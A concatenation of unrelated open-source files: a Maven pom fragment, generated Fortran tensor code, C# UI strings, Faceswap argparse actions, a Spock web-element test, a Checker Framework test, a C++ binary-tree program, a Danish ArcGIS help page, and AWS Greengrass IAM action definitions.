</goals> </execution> <execution> <id>attach-javadocs</id> <goals> <goal>jar</goal> </goals> </execution> </executions> </plugin> <plugin> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>1.6</source> <target>1.6</target> </configuration> <version>3.1</version> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-source-plugin</artifactId> <version>2.2.1</version> <executions> <execution> <id>attach-sources</id> <goals> <goal>jar</goal> </goals> </execution> </executions> </plugin> </plugins> </build> <profiles> <profile> <id>release-sign-artifacts</id> <activation> <property> <name>performRelease</name> <value>true</value> </property> </activation> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-gpg-plugin</artifactId> <version>1.4</version> <executions> <execution> <id>sign-artifacts</id> <phase>verify</phase> <goals> <goal>sign</goal> </goals> </execution> </executions> </plugin> </plugins> </build> </profile> </profiles> </project>
{ "pile_set_name": "Github" }
SUBROUTINE OFFSET_ccsdt_lr_alpha_offdiag_13_13_1_1(l_a_offset,k_a_ &offset,size) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i3 ( h2 h13 h12 p3 )_yt IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER l_a_offset INTEGER k_a_offset INTEGER size INTEGER length INTEGER addr INTEGER h2b INTEGER h13b INTEGER h12b INTEGER p3b length = 0 DO h2b = 1,noab DO h13b = h2b,noab DO h12b = 1,noab DO p3b = noab+1,noab+nvab IF (int_mb(k_spin+h2b-1)+int_mb(k_spin+h13b-1) .eq. int_mb(k_spin+ &h12b-1)+int_mb(k_spin+p3b-1)) THEN IF (ieor(int_mb(k_sym+h2b-1),ieor(int_mb(k_sym+h13b-1),ieor(int_mb &(k_sym+h12b-1),int_mb(k_sym+p3b-1)))) .eq. ieor(irrep_y,irrep_t)) &THEN IF ((.not.restricted).or.(int_mb(k_spin+h2b-1)+int_mb(k_spin+h13b- &1)+int_mb(k_spin+h12b-1)+int_mb(k_spin+p3b-1).ne.8)) THEN length = length + 1 END IF END IF END IF END DO END DO END DO END DO IF (.not.MA_PUSH_GET(mt_int,2*length+1,'noname',l_a_offset,k_a_off &set)) CALL ERRQUIT('ccsdt_lr_alpha_offdiag_13_13_1_1',0,MA_ERR) int_mb(k_a_offset) = length addr = 0 size = 0 DO h2b = 1,noab DO h13b = h2b,noab DO h12b = 1,noab DO p3b = noab+1,noab+nvab IF (int_mb(k_spin+h2b-1)+int_mb(k_spin+h13b-1) .eq. int_mb(k_spin+ &h12b-1)+int_mb(k_spin+p3b-1)) THEN IF (ieor(int_mb(k_sym+h2b-1),ieor(int_mb(k_sym+h13b-1),ieor(int_mb &(k_sym+h12b-1),int_mb(k_sym+p3b-1)))) .eq. ieor(irrep_y,irrep_t)) &THEN IF ((.not.restricted).or.(int_mb(k_spin+h2b-1)+int_mb(k_spin+h13b- &1)+int_mb(k_spin+h12b-1)+int_mb(k_spin+p3b-1).ne.8)) THEN addr = addr + 1 int_mb(k_a_offset+addr) = p3b - noab - 1 + nvab * (h12b - 1 + noab & * (h13b - 1 + noab * (h2b - 1))) int_mb(k_a_offset+length+addr) = size size = size + int_mb(k_range+h2b-1) * int_mb(k_range+h13b-1) * int &_mb(k_range+h12b-1) * int_mb(k_range+p3b-1) END IF END IF END IF END DO END DO END DO END DO RETURN END
{ "pile_set_name": "Github" }
/********************************************* 作者:曹旭升 QQ:279060597 访问博客了解详细介绍及更多内容: http://blog.shengxunwei.com **********************************************/ namespace Sheng.SailingEase.Windows.Forms.Development { class ConstantLanguage { public const string SELabelExDev_Description = "为控件提供运行时信息或说明性文字"; public const string SELabelExDev_Name = "文本"; public const string SELabelExDev_Catalog = "标准"; public const string SEPictureBoxExDev_Description = "显示图像"; public const string SEPictureBoxExDev_Name = "图像"; public const string SEPictureBoxExDev_Catalog = "标准"; public const string SEButtonExDev_Description = "当用户单击它时引发事件"; public const string SEButtonExDev_Name = "按钮"; public const string SEButtonExDev_Catalog = "标准"; public const string SETextBoxExDev_Description = "允许用户输入文本,并提供多行编辑和密码字符屏蔽功能"; public const string SETextBoxExDev_Name = "文本框"; public const string SETextBoxExDev_Catalog = "标准"; public const string SEPaginationDataGridViewDev_Description = "显示网格中可以自定义的行和列"; public const string SEPaginationDataGridViewDev_Name = "数据列表"; public const string SEPaginationDataGridViewDev_Catalog = "数据"; public const string SEComboBoxExDev_Description = "用于在下拉组合框中显示数据,可以设置是否允许输入"; public const string SEComboBoxExDev_Name = "复合文本框"; public const string SEComboBoxExDev_Catalog = "标准"; } }
{ "pile_set_name": "Github" }
#!/usr/bin/env python3 """ Custom :class:`argparse.Action` objects for Faceswap's Command Line Interface. The custom actions within this module allow for custom manipulation of Command Line Arguments as well as adding a mechanism for indicating to the GUI how specific options should be rendered. """ import argparse import os # << FILE HANDLING >> class _FullPaths(argparse.Action): # pylint: disable=too-few-public-methods """ Parent class for various file type and file path handling classes. Expands out given paths to their full absolute paths. This class should not be called directly. It is the base class for the various different file handling methods. """ def __call__(self, parser, namespace, values, option_string=None): if isinstance(values, (list, tuple)): vals = [os.path.abspath(os.path.expanduser(val)) for val in values] else: vals = os.path.abspath(os.path.expanduser(values)) setattr(namespace, self.dest, vals) class DirFullPaths(_FullPaths): """ Adds support for a Directory browser in the GUI. This is a standard :class:`argparse.Action` (with stock parameters) which indicates to the GUI that a dialog box should be opened in order to browse for a folder. No additional parameters are required. Example ------- >>> argument_list = [] >>> argument_list.append(dict( >>> opts=("-f", "--folder_location"), >>> action=DirFullPaths)), """ # pylint: disable=too-few-public-methods,unnecessary-pass pass class FileFullPaths(_FullPaths): """ Adds support for a File browser to select a single file in the GUI. This extends the standard :class:`argparse.Action` and adds an additional parameter :attr:`filetypes`, indicating to the GUI that it should pop a file browser for opening a file and limit the results to the file types listed. As well as the standard parameters, the following parameter is required: Parameters ---------- filetypes: str The accepted file types for this option. This is the key for the GUIs lookup table which can be found in :class:`lib.gui.utils.FileHandler` Example ------- >>> argument_list = [] >>> argument_list.append(dict( >>> opts=("-f", "--video_location"), >>> action=FileFullPaths, >>> filetypes="video))" """ # pylint: disable=too-few-public-methods def __init__(self, *args, filetypes=None, **kwargs): super().__init__(*args, **kwargs) self.filetypes = filetypes def _get_kwargs(self): names = ["option_strings", "dest", "nargs", "const", "default", "type", "choices", "help", "metavar", "filetypes"] return [(name, getattr(self, name)) for name in names] class FilesFullPaths(FileFullPaths): # pylint: disable=too-few-public-methods """ Adds support for a File browser to select multiple files in the GUI. This extends the standard :class:`argparse.Action` and adds an additional parameter :attr:`filetypes`, indicating to the GUI that it should pop a file browser, and limit the results to the file types listed. Multiple files can be selected for opening, so the :attr:`nargs` parameter must be set. As well as the standard parameters, the following parameter is required: Parameters ---------- filetypes: str The accepted file types for this option. This is the key for the GUIs lookup table which can be found in :class:`lib.gui.utils.FileHandler` Example ------- >>> argument_list = [] >>> argument_list.append(dict( >>> opts=("-f", "--images"), >>> action=FilesFullPaths, >>> filetypes="image", >>> nargs="+")) """ def __init__(self, *args, filetypes=None, **kwargs): if kwargs.get("nargs", None) is None: opt = kwargs["option_strings"] raise ValueError("nargs must be provided for FilesFullPaths: {}".format(opt)) super().__init__(*args, **kwargs) class DirOrFileFullPaths(FileFullPaths): # pylint: disable=too-few-public-methods """ Adds support to the GUI to launch either a file browser or a folder browser. Some inputs (for example source frames) can come from a folder of images or from a video file. This indicates to the GUI that it should place 2 buttons (one for a folder browser, one for a file browser) for file/folder browsing. The standard :class:`argparse.Action` is extended with the additional parameter :attr:`filetypes`, indicating to the GUI that it should pop a file browser, and limit the results to the file types listed. As well as the standard parameters, the following parameter is required: Parameters ---------- filetypes: str The accepted file types for this option. This is the key for the GUIs lookup table which can be found in :class:`lib.gui.utils.FileHandler`. NB: This parameter is only used for the file browser and not the folder browser Example ------- >>> argument_list = [] >>> argument_list.append(dict( >>> opts=("-f", "--input_frames"), >>> action=DirOrFileFullPaths, >>> filetypes="video))" """ pass # pylint: disable=unnecessary-pass class SaveFileFullPaths(FileFullPaths): """ Adds support for a Save File dialog in the GUI. This extends the standard :class:`argparse.Action` and adds an additional parameter :attr:`filetypes`, indicating to the GUI that it should pop a save file browser, and limit the results to the file types listed. As well as the standard parameters, the following parameter is required: Parameters ---------- filetypes: str The accepted file types for this option. This is the key for the GUIs lookup table which can be found in :class:`lib.gui.utils.FileHandler` Example ------- >>> argument_list = [] >>> argument_list.append(dict( >>> opts=("-f", "--video_out"), >>> action=SaveFileFullPaths, >>> filetypes="video")) """ # pylint: disable=too-few-public-methods,unnecessary-pass pass class ContextFullPaths(FileFullPaths): """ Adds support for context sensitive browser dialog opening in the GUI. For some tasks, the type of action (file load, folder open, file save etc.) can vary depending on the task to be performed (a good example of this is the effmpeg tool). Using this action indicates to the GUI that the type of dialog to be launched can change depending on another option. As well as the standard parameters, the below parameters are required. NB: :attr:`nargs` are explicitly disallowed. Parameters ---------- filetypes: str The accepted file types for this option. This is the key for the GUIs lookup table which can be found in :class:`lib.gui.utils.FileHandler` action_option: str The command line option that dictates the context of the file dialog to be opened. Bespoke actions are set in :class:`lib.gui.utils.FileHandler` Example ------- Assuming an argument has already been set with option string `-a` indicating the action to be performed, the following will pop a different type of dialog depending on the action selected: >>> argument_list = [] >>> argument_list.append(dict( >>> opts=("-f", "--input_video"), >>> action=ContextFullPaths, >>> filetypes="video", >>> action_option="-a")) """ # pylint: disable=too-few-public-methods, too-many-arguments def __init__(self, *args, filetypes=None, action_option=None, **kwargs): opt = kwargs["option_strings"] if kwargs.get("nargs", None) is not None: raise ValueError("nargs not allowed for ContextFullPaths: {}".format(opt)) if filetypes is None: raise ValueError("filetypes is required for ContextFullPaths: {}".format(opt)) if action_option is None: raise ValueError("action_option is required for ContextFullPaths: {}".format(opt)) super().__init__(*args, filetypes=filetypes, **kwargs) self.action_option = action_option def _get_kwargs(self): names = ["option_strings", "dest", "nargs", "const", "default", "type", "choices", "help", "metavar", "filetypes", "action_option"] return [(name, getattr(self, name)) for name in names] # << GUI DISPLAY OBJECTS >> class Radio(argparse.Action): # pylint: disable=too-few-public-methods """ Adds support for a GUI Radio options box. This is a standard :class:`argparse.Action` (with stock parameters) which indicates to the GUI that the options passed should be rendered as a group of Radio Buttons rather than a combo box. No additional parameters are required, but the :attr:`choices` parameter must be provided as these will be the Radio Box options. :attr:`nargs` are explicitly disallowed. Example ------- >>> argument_list = [] >>> argument_list.append(dict( >>> opts=("-f", "--foobar"), >>> action=Radio, >>> choices=["foo", "bar")) """ def __init__(self, *args, **kwargs): opt = kwargs["option_strings"] if kwargs.get("nargs", None) is not None: raise ValueError("nargs not allowed for Radio buttons: {}".format(opt)) if not kwargs.get("choices", []): raise ValueError("Choices must be provided for Radio buttons: {}".format(opt)) super().__init__(*args, **kwargs) def __call__(self, parser, namespace, values, option_string=None): setattr(namespace, self.dest, values) class MultiOption(argparse.Action): # pylint: disable=too-few-public-methods """ Adds support for multiple option checkboxes in the GUI. This is a standard :class:`argparse.Action` (with stock parameters) which indicates to the GUI that the options passed should be rendered as a group of Radio Buttons rather than a combo box. The :attr:`choices` parameter must be provided as this provides the valid option choices. Example ------- >>> argument_list = [] >>> argument_list.append(dict( >>> opts=("-f", "--foobar"), >>> action=MultiOption, >>> choices=["foo", "bar")) """ def __init__(self, *args, **kwargs): opt = kwargs["option_strings"] if not kwargs.get("nargs", []): raise ValueError("nargs must be provided for MultiOption: {}".format(opt)) if not kwargs.get("choices", []): raise ValueError("Choices must be provided for MultiOption: {}".format(opt)) super().__init__(*args, **kwargs) def __call__(self, parser, namespace, values, option_string=None): setattr(namespace, self.dest, values) class Slider(argparse.Action): # pylint: disable=too-few-public-methods """ Adds support for a slider in the GUI. The standard :class:`argparse.Action` is extended with the additional parameters listed below. The :attr:`default` value must be supplied and the :attr:`type` must be either :class:`int` or :class:`float`. :attr:`nargs` are explicitly disallowed. Parameters ---------- min_max: tuple The (`min`, `max`) values that the slider's range should be set to. The values should be a pair of `float` or `int` data types, depending on the data type of the slider. NB: These min/max values are not enforced, they are purely for setting the slider range. Values outside of this range can still be explicitly passed in from the cli. rounding: int If the underlying data type for the option is a `float` then this value is the number of decimal places to round the slider values to. If the underlying data type for the option is an `int` then this is the step interval between each value for the slider. Examples -------- For integer values: >>> argument_list = [] >>> argument_list.append(dict( >>> opts=("-f", "--foobar"), >>> action=Slider, >>> min_max=(0, 10) >>> rounding=1 >>> type=int, >>> default=5)) For floating point values: >>> argument_list = [] >>> argument_list.append(dict( >>> opts=("-f", "--foobar"), >>> action=Slider, >>> min_max=(0.00, 1.00) >>> rounding=2 >>> type=float, >>> default=5.00)) """ def __init__(self, *args, min_max=None, rounding=None, **kwargs): opt = kwargs["option_strings"] if kwargs.get("nargs", None) is not None: raise ValueError("nargs not allowed for Slider: {}".format(opt)) if kwargs.get("default", None) is None: raise ValueError("A default value must be supplied for Slider: {}".format(opt)) if kwargs.get("type", None) not in (int, float): raise ValueError("Sliders only accept int and float data types: {}".format(opt)) if min_max is None: raise ValueError("min_max must be provided for Sliders: {}".format(opt)) if rounding is None: raise ValueError("rounding must be provided for Sliders: {}".format(opt)) super().__init__(*args, **kwargs) self.min_max = min_max self.rounding = rounding def _get_kwargs(self): names = ["option_strings", "dest", "nargs", "const", "default", "type", "choices", "help", "metavar", "min_max", # Tuple containing min and max values of scale "rounding"] # Decimal places to round floats to or step interval for ints return [(name, getattr(self, name)) for name in names] def __call__(self, parser, namespace, values, option_string=None): setattr(namespace, self.dest, values)
{ "pile_set_name": "Github" }
package net.serenitybdd.core.pages import net.thucydides.core.steps.StepEventBus import net.thucydides.core.webdriver.WebDriverFacade import net.thucydides.core.webdriver.exceptions.ElementShouldBeEnabledException import net.thucydides.core.webdriver.exceptions.ElementShouldBePresentException import net.thucydides.core.webdriver.javascript.JavascriptExecutorFacade import org.openqa.selenium.NoSuchElementException import org.openqa.selenium.StaleElementReferenceException import org.openqa.selenium.WebElement import org.openqa.selenium.support.pagefactory.ElementLocator import spock.lang.Specification import spock.lang.Unroll import java.util.concurrent.TimeUnit /** * Created by john on 20/01/15. */ class WhenManipulatingWebElements extends Specification { WebDriverFacade driver = Mock() WebElement webElement = Mock() ElementLocator locator = Mock(); PageObject parentPage = Mock(); def setup() { StepEventBus.eventBus.clear() } @Unroll def "web element facade should be printed as the web element"() { given: webElement.getAttribute(attribute) >> attributeValue webElement.getTagName() >> tag locator.toString() >> "find by id or name 'value'" when: WebElementFacade elementFacade = WebElementFacadeImpl.wrapWebElement(driver, webElement, 100, 100); then: new WebElementDescriber().webElementDescription(elementFacade, locator) == asString where: attribute | attributeValue | tag | asString "id" | "idvalue" | "tag" | "<tag id='idvalue'> - find by id or name 'value'" "name" | "somename" | "tag" | "<tag name='somename'> - find by id or name 'value'" "class" | "someclass" | "tag" | "<tag class='someclass'> - find by id or name 'value'" "href" | "link" | "a" | "<a href='link'> - find by id or name 'value'" } def "element facade should be printed using type and name if present"() { given: webElement.getAttribute("type") >> "button" webElement.getAttribute("value") >> "submit" webElement.getTagName() >> "input" locator.toString() >> "find by id or name 'value'" when: WebElementFacade elementFacade = WebElementFacadeImpl.wrapWebElement(driver, webElement, 100, 100); then: new WebElementDescriber().webElementDescription(elementFacade, locator) == "<input type='button' value='submit'> - find by id or name 'value'" } def "web element facade should be printed as tag element if nothing available"() { given: webElement.getTagName() >> "tag" locator.toString() >> "find by id or name 'value'" when: WebElementFacade elementFacade = WebElementFacadeImpl.wrapWebElement(driver, webElement, 100, 100); then: new WebElementDescriber().webElementDescription(elementFacade, locator) == "<tag> - find by id or name 'value'" } def "stale element should not be considered visible"() { given: webElement.isDisplayed() >> { throw new StaleElementReferenceException("Stale element") } when: WebElementFacade elementFacade = WebElementFacadeImpl.wrapWebElement(driver, webElement, 100, 100); then: !elementFacade.isVisible() } def "timeout can be redefined"() { when: WebElementFacade webElementFacade = WebElementFacadeImpl.wrapWebElement(driver, webElement, 100, 100); WebElementFacade webElementFacadeWithDifferentTimeout = webElementFacade.withTimeoutOf(2, TimeUnit.SECONDS); then: webElementFacadeWithDifferentTimeout.implicitTimeoutInMilliseconds == 2000L webElementFacadeWithDifferentTimeout.waitForTimeoutInMilliseconds == 2000L } JavascriptExecutorFacade mockJavascriptExecutorFacade = Mock() def "element can set window focus"() { given: def elementFacade = new WebElementFacadeImpl(driver, (ElementLocator) null, 100, 100) { @Override protected JavascriptExecutorFacade getJavascriptExecutorFacade() { return mockJavascriptExecutorFacade; } }; when: elementFacade.setWindowFocus(); then: 1 * mockJavascriptExecutorFacade.executeScript("window.focus()") } @Unroll def "text value should be based on text and value attributes"() { when: webElement.isDisplayed() >> isDisplayed webElement.getText() >> getText webElement.getTagName() >> getTagName webElement.getAttribute("value") >> value WebElementFacade elementFacade = WebElementFacadeImpl.wrapWebElement(driver, webElement, 100, 100); then: elementFacade.getTextValue() == expectedTextValue where: isDisplayed | getText | getTagName | value | expectedTextValue true | null | "input" | "value" | "value" true | null | "input" | null | "" true | "text" | "textarea" | null | "text" } def "Null WebElements should not be accessible"() { when: WebElementFacade webElementFacade = WebElementFacadeImpl.wrapWebElement(driver, (WebElement) null, 100, 100); then: !webElementFacade.isVisible() && !webElementFacade.isPresent() && !webElementFacade.isEnabled() } WebElementFacade webElementFacade = WebElementFacadeImpl.wrapWebElement(driver, (WebElement) null, 100, 100); def "when webelement is null it should not be clickable"() { when: webElementFacade.click() then: thrown(ElementShouldBeEnabledException.class) } def "when webelement is null it should fail wait until present"() { when: webElementFacade.waitUntilPresent() then: thrown(ElementShouldBePresentException.class) } def "when webelement is null it should succeed waitUntilNotVisible"() { expect: webElementFacade.waitUntilNotVisible() } def "when webelement is null contains text should fail"() { expect: !webElementFacade.containsText("text") } def "when webelement is null contains selected value should fail"() { expect: !webElementFacade.containsSelectOption("value") } def "when webelement is null get text value should fail"() { when: !webElementFacade.getTextValue() then: thrown(ElementShouldBePresentException.class) } def "when webelement is null get value should fail"() { when: !webElementFacade.getValue() then: thrown(NoSuchElementException.class) } }
{ "pile_set_name": "Github" }
import org.checkerframework.checker.nullness.qual.*; class BoxingGenerics { static class X<T> { public static <T> X<T> foo(T x) { return new X<>(); } public void bar(X<T> x) {} } public void getText() { X<Integer> var = new X<>(); X.foo(Integer.valueOf(5)).bar(var); X.foo(5).bar(var); } }
{ "pile_set_name": "Github" }
#include<bits/stdc++.h> using namespace std; struct node{ int data; struct node* left; struct node* right; }; struct node* mnew(int key) { struct node* nde = new node; nde->data = key; nde->left = NULL; nde->right = NULL; }; void make_tree(struct node* root,int key) { queue<node* > my; my.push(root); while(!my.empty()) { struct node* cur = my.front(); my.pop(); if(cur->left!=NULL) my.push(cur->left); if(cur->right!=NULL) my.push(cur->right); if(cur->left==NULL) {cur->left = mnew(key);break;} if(cur->right==NULL) {cur->right = mnew(key);break;} } } void print(struct node* root) { if(root==NULL) return; else { print(root->left); cout<<root->data<<" "; print(root->right); } } int main() { int a,b,c,d,e,f,g,h; cout<<"Enter no of nodes\n"; cin>>a; struct node* root = NULL; for(b=0;b<a;b++) { cin>>c; if(root==NULL) { root = mnew(c); } else make_tree(root,c); } cout<<"tree in inorder traversal\n"; print(root); }
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8"/> <title></title> <link rel="Stylesheet" href="../css/analysis.css" /> <script type="text/javascript"> function init() { if (window.location.hash) { var parentDiv, nodes, i, helpInfo, helpId, helpInfoArr, helpEnvFilter, envContent, hideEnvClass, hideNodes; helpInfo = window.location.hash.substring(1); if(helpInfo.indexOf("-")) { helpInfoArr = helpInfo.split("-"); helpId = helpInfoArr[0]; helpEnvFilter = helpInfoArr[1]; } else { helpId = helpInfo; } parentDiv = document.getElementById("topics"); nodes = parentDiv.children; hideEnvClass = (helpEnvFilter === "OnlineOnly"? "PortalOnly": "OnlineOnly"); if(document.getElementsByClassName) { hideNodes = document.getElementsByClassName(hideEnvClass); } else { hideNodes = document.querySelectorAll(hideEnvClass); } for(i=0; i < nodes.length; i++) { if(nodes[i].id !== helpId) { nodes[i].style.display ="none"; } } for(i=0; i < hideNodes.length; i++) { hideNodes[i].style.display ="none"; } } } </script> </head> <body onload="init()"> <div id="topics"> <div id="toolDescription" class="smallsize"> <h2>Find centroider</h2><p/> <h2><img src="../images/GUID-75D9AF75-68C3-48BF-8062-D5499BD06978-web.png" alt="Find centroider"></h2> <hr/> <p>Dette v&aelig;rkt&oslash;j arbejder med et lag af multipunkt-, linje- eller omr&aring;deobjekter for at fastl&aelig;gge det repr&aelig;sentative center for hvert objekt. </p> <p>Hvis feltet <b>Brug aktuel kortudstr&aelig;kning</b> er markeret, er det kun objekterne i det inputlag (multipunkt-, linje- eller omr&aring;delag), der er synligt inden for den aktuelle kortudstr&aelig;kning, der analyseres. Hvis markeringen fjernes, analyseres alle objekter i inputlaget, ogs&aring; selvom de er placeret uden for den aktuelle kortudstr&aelig;kning. </p> </div> <!--Parameter divs for each param--> <div id="inputLayer"> <div><h2>Vælg et lag, hvis objekter vil blive brugt til at generere centroider</h2></div> <hr/> <div> <p> Det multipunkt-, linje- eller omr&aring;delag, der bliver brugt til at finde centroider. </p> <p>Ud over at v&aelig;lge et lag fra dit kort kan du v&aelig;lge <b>V&aelig;lg analyselag</b> nederst p&aring; rullelisten. Denne indstilling &aring;bner et galleri, hvor du kan gennemse og v&aelig;lge datas&aelig;t fra forskellige kilder, som du kan bruge i din analyse. </p> </div> </div> <div id="inside"> <div><h2>Vis mig output-positioner</h2></div> <hr/> <div> <p> N&aring;r feltet <b>Ved den &aelig;gte centroide</b> er afkrydset (standard), returnerer outputtet den &aelig;gte placering af centroiden for hvert input-objekt. Centroiderne placeres s&aring;ledes: <ul> <li>Multipunktobjekter &ndash; Output-centroiden placeres ved de gennemsnitlige x- og y-koordinater for alle punkterne i multipunkt-objektet. </li> <li>Linjeobjekter &ndash; Output-centroiden placeres ved de v&aelig;gtede gennemsnitlige x- og y-koordinater for midtpunkterne for alle linjesegmenter i linjeobjektet. V&aelig;gtningen er baseret p&aring; segmentets l&aelig;ngde. </li> <li>Omr&aring;deobjekter &ndash; Output-centroiden placeres i midten af omr&aring;det. </li> </ul> </p> <p>N&aring;r feltet <b>afgr&aelig;nset af input-objekter</b> er afkrydset, er output-punktobjekterne afgr&aelig;nset af eller inde i hver enkelt input-objekt. De resulterende punktobjekter vises s&aring;ledes: <ul> <li>Multipunktobjekter &ndash; Output-centroiden vil v&aelig;re sammenfaldende med et af punkterne i multipunktgruppen. </li> <li>Linjeobjekter &ndash; Output-centroiden placeres p&aring; linjen. Hvis linjen er kurvet, er outputtet p&aring; linjens midtpunkt. </li> <li>Omr&aring;deobjekter &ndash; Output-punktet er inde i omr&aring;deobjektet. </li> </ul> </p> </div> </div> <div id="OutputLayer"> <div><h2>Navn på resultatlag</h2></div> <hr/> <div> <p>Dette er navnet p&aring; det lag, som oprettes i <b>Mit indhold</b> og f&oslash;jes til kortet. Standardnavnet er baseret p&aring; navnet p&aring; v&aelig;rkt&oslash;jet og navnet p&aring; inputlaget. Hvis lagnavnet allerede findes, vil du blive bedt om at angive et andet navn. </p> <p>Ved hj&aelig;lp af rullemenuen <b>Gem resultat</b> kan du angive navnet p&aring; en mappe i <b>Mit indhold</b>, hvor resultatet skal gemmes. </p> </div> </div> </div> </html>
{ "pile_set_name": "Github" }
# Copyright (c) 2012-2013, Mark Peek <[email protected]> # All rights reserved. # # See LICENSE file for full license. from aws import Action as BaseAction from aws import BaseARN service_name = 'AWS Greengrass' prefix = 'greengrass' class Action(BaseAction): def __init__(self, action=None): sup = super(Action, self) sup.__init__(prefix, action) class ARN(BaseARN): def __init__(self, resource='', region='', account=''): sup = super(ARN, self) sup.__init__(service=prefix, resource=resource, region=region, account=account) AssociateRoleToGroup = Action('AssociateRoleToGroup') AssociateServiceRoleToAccount = Action('AssociateServiceRoleToAccount') CreateConnectorDefinition = Action('CreateConnectorDefinition') CreateConnectorDefinitionVersion = \ Action('CreateConnectorDefinitionVersion') CreateCoreDefinition = Action('CreateCoreDefinition') CreateCoreDefinitionVersion = Action('CreateCoreDefinitionVersion') CreateDeployment = Action('CreateDeployment') CreateDeviceDefinition = Action('CreateDeviceDefinition') CreateDeviceDefinitionVersion = Action('CreateDeviceDefinitionVersion') CreateFunctionDefinition = Action('CreateFunctionDefinition') CreateFunctionDefinitionVersion = \ Action('CreateFunctionDefinitionVersion') CreateGroup = Action('CreateGroup') CreateGroupCertificateAuthority = \ Action('CreateGroupCertificateAuthority') CreateGroupVersion = Action('CreateGroupVersion') CreateLoggerDefinition = Action('CreateLoggerDefinition') CreateLoggerDefinitionVersion = Action('CreateLoggerDefinitionVersion') CreateResourceDefinition = Action('CreateResourceDefinition') CreateResourceDefinitionVersion = \ Action('CreateResourceDefinitionVersion') CreateSoftwareUpdateJob = Action('CreateSoftwareUpdateJob') CreateSubscriptionDefinition = Action('CreateSubscriptionDefinition') CreateSubscriptionDefinitionVersion = \ Action('CreateSubscriptionDefinitionVersion') DeleteConnectorDefinition = Action('DeleteConnectorDefinition') DeleteCoreDefinition = Action('DeleteCoreDefinition') DeleteDeviceDefinition = Action('DeleteDeviceDefinition') DeleteFunctionDefinition = Action('DeleteFunctionDefinition') DeleteGroup = Action('DeleteGroup') DeleteLoggerDefinition = Action('DeleteLoggerDefinition') DeleteResourceDefinition = Action('DeleteResourceDefinition') DeleteSubscriptionDefinition = Action('DeleteSubscriptionDefinition') DisassociateRoleFromGroup = Action('DisassociateRoleFromGroup') DisassociateServiceRoleFromAccount = \ Action('DisassociateServiceRoleFromAccount') Discover = Action('Discover') GetAssociatedRole = Action('GetAssociatedRole') GetBulkDeploymentStatus = Action('GetBulkDeploymentStatus') GetConnectivityInfo = Action('GetConnectivityInfo') GetConnectorDefinition = Action('GetConnectorDefinition') GetConnectorDefinitionVersion = Action('GetConnectorDefinitionVersion') GetCoreDefinition = Action('GetCoreDefinition') GetCoreDefinitionVersion = Action('GetCoreDefinitionVersion') GetDeploymentStatus = Action('GetDeploymentStatus') GetDeviceDefinition = Action('GetDeviceDefinition') GetDeviceDefinitionVersion = Action('GetDeviceDefinitionVersion') GetFunctionDefinition = Action('GetFunctionDefinition') GetFunctionDefinitionVersion = Action('GetFunctionDefinitionVersion') GetGroup = Action('GetGroup') GetGroupCertificateAuthority = Action('GetGroupCertificateAuthority') GetGroupCertificateConfiguration = \ Action('GetGroupCertificateConfiguration') GetGroupVersion = Action('GetGroupVersion') GetLoggerDefinition = Action('GetLoggerDefinition') GetLoggerDefinitionVersion = Action('GetLoggerDefinitionVersion') GetResourceDefinition = Action('GetResourceDefinition') GetResourceDefinitionVersion = Action('GetResourceDefinitionVersion') GetServiceRoleForAccount = Action('GetServiceRoleForAccount') GetSubscriptionDefinition = Action('GetSubscriptionDefinition') GetSubscriptionDefinitionVersion = \ Action('GetSubscriptionDefinitionVersion') ListBulkDeploymentDetailedReports = \ Action('ListBulkDeploymentDetailedReports') ListBulkDeployments = Action('ListBulkDeployments') ListConnectorDefinitionVersions = \ Action('ListConnectorDefinitionVersions') ListConnectorDefinitions = Action('ListConnectorDefinitions') ListCoreDefinitionVersions = Action('ListCoreDefinitionVersions') ListCoreDefinitions = Action('ListCoreDefinitions') ListDeployments = Action('ListDeployments') ListDeviceDefinitionVersions = Action('ListDeviceDefinitionVersions') ListDeviceDefinitions = Action('ListDeviceDefinitions') ListFunctionDefinitionVersions = Action('ListFunctionDefinitionVersions') ListFunctionDefinitions = Action('ListFunctionDefinitions') ListGroupCertificateAuthorities = \ Action('ListGroupCertificateAuthorities') ListGroupVersions = Action('ListGroupVersions') ListGroups = Action('ListGroups') ListLoggerDefinitionVersions = Action('ListLoggerDefinitionVersions') ListLoggerDefinitions = Action('ListLoggerDefinitions') ListResourceDefinitionVersions = Action('ListResourceDefinitionVersions') ListResourceDefinitions = Action('ListResourceDefinitions') ListSubscriptionDefinitionVersions = \ Action('ListSubscriptionDefinitionVersions') ListSubscriptionDefinitions = Action('ListSubscriptionDefinitions') ListTagsForResource = Action('ListTagsForResource') ResetDeployments = Action('ResetDeployments') StartBulkDeployment = Action('StartBulkDeployment') StopBulkDeployment = Action('StopBulkDeployment') TagResource = Action('TagResource') UntagResource = Action('UntagResource') UpdateConnectivityInfo = Action('UpdateConnectivityInfo') UpdateConnectorDefinition = Action('UpdateConnectorDefinition') UpdateCoreDefinition = Action('UpdateCoreDefinition') UpdateDeviceDefinition = Action('UpdateDeviceDefinition') UpdateFunctionDefinition = Action('UpdateFunctionDefinition') UpdateGroup = Action('UpdateGroup') UpdateGroupCertificateConfiguration = \ Action('UpdateGroupCertificateConfiguration') UpdateLoggerDefinition = Action('UpdateLoggerDefinition') UpdateResourceDefinition = Action('UpdateResourceDefinition') UpdateSubscriptionDefinition = Action('UpdateSubscriptionDefinition')
{ "pile_set_name": "Github" }
